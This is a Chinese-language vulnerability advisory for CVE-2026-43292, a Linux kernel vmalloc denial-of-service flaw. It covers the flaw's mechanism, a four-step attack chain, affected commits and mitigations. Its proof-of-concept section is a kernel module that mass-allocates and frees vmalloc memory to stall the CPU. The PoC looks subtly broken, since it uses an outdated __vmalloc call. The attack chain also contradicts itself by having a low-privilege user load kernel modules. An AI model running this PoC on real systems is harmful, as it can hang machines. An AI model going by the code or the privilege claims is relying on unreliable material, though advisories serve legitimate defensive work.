IPBUF安全漏洞报告
English
CVE-2026-43292 CVSS 5.5 中危

CVE-2026-43292: Linux内核vmalloc模块拒绝服务漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43292
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

拒绝服务Linux KernelRCU Stall本地漏洞vmalloc

漏洞概述

Linux内核的mm/vmalloc组件存在一个安全漏洞。当启用了CONFIG_PAGE_OWNER配置时,在清理vmalloc期间释放KASAN影子页会触发昂贵的堆栈展开操作并获取RCU读锁。如果处理大量的purge_list而不进行重新调度,会导致任务长时间占用CPU(超过10秒),从而引发RCU stalls(停滞)和潜在的OOM(内存溢出)状况,导致系统拒绝服务。

技术细节

该漏洞出现在Linux内核的vmalloc子系统中,具体函数调用链为purge_vmap_node() -> kasan_release_vmalloc_node()。当内核开启了CONFIG_PAGE_OWNER选项以调试内存分配时,释放内存操作会调用save_stack()进行堆栈跟踪。该过程在持有RCU读锁的上下文中执行。如果purge_list包含成百上千个vmap_area条目,循环释放这些关联的影子页且不调用cond_resched(),将创建一个无界的RCU临界区。这会阻塞RCU宽限期,导致系统检测到CPU停滞,最终可能触发OOM Killer杀死关键进程。本地攻击者可利用此缺陷耗尽CPU资源,导致系统挂起。

攻击链分析

STEP 1
1. 本地访问
攻击者需要在本地系统拥有低权限账户,能够加载内核模块或执行消耗内存的程序。
STEP 2
2. 触发vmalloc分配与释放
攻击者运行恶意程序,触发大量的vmalloc内存分配,随后立即释放这些内存。
STEP 3
3. 触发漏洞机制
释放操作导致内核调用kasan_release_vmalloc_node,在CONFIG_PAGE_OWNER开启时,由于缺乏调度让步,导致长时间持有RCU锁。
STEP 4
4. 系统拒绝服务
CPU被长时间占用,触发RCU stall警告,系统响应迟缓或崩溃,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43292 * This kernel module attempts to trigger the RCU stall by allocating * and freeing a large number of vmalloc areas. * Compile with: make -C /lib/modules/$(uname -r)/build M=$(pwd) modules */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/vmalloc.h> #define ALLOC_COUNT 20000 static int __init poc_init(void) { void **ptrs; int i; ptrs = vmalloc(sizeof(void *) * ALLOC_COUNT); if (!ptrs) return -ENOMEM; printk(KERN_INFO "CVE-2026-43292 PoC: Starting allocation...\n"); // Allocate a large number of vmalloc areas for (i = 0; i < ALLOC_COUNT; i++) { ptrs[i] = __vmalloc(PAGE_SIZE, GFP_KERNEL | __GFP_NOFAIL, PAGE_KERNEL); } printk(KERN_INFO "CVE-2026-43292 PoC: Freeing memory to trigger purge...\n"); // Free them to trigger kasan_release_vmalloc_node // This may cause RCU stall if CONFIG_PAGE_OWNER is enabled and patch is missing for (i = 0; i < ALLOC_COUNT; i++) { vfree(ptrs[i]); } vfree(ptrs); return 0; } static void __exit poc_exit(void) { printk(KERN_INFO "CVE-2026-43292 PoC: Exiting.\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2026-43292 RCU Stall");

影响范围

Linux Kernel (Git commits before 1afe45f89d54b7183768ebbbbf14238ec187ab5c)
Linux Kernel (Git commits before 2efa9c02c9b4c0d6866aa445f11056809b25ca28)
Linux Kernel (Git commits before 5747435e0fd474c24530ef1a6822f47e7d264b27)
Linux Kernel (Git commits before b351fbe71091f7c8676c8ba597653d08b6719447)

防御指南

临时缓解措施
如果无法立即升级内核,建议禁用CONFIG_PAGE_OWNER配置选项(这需要重新编译内核),或者严格限制本地用户的权限,减少不可信代码的执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表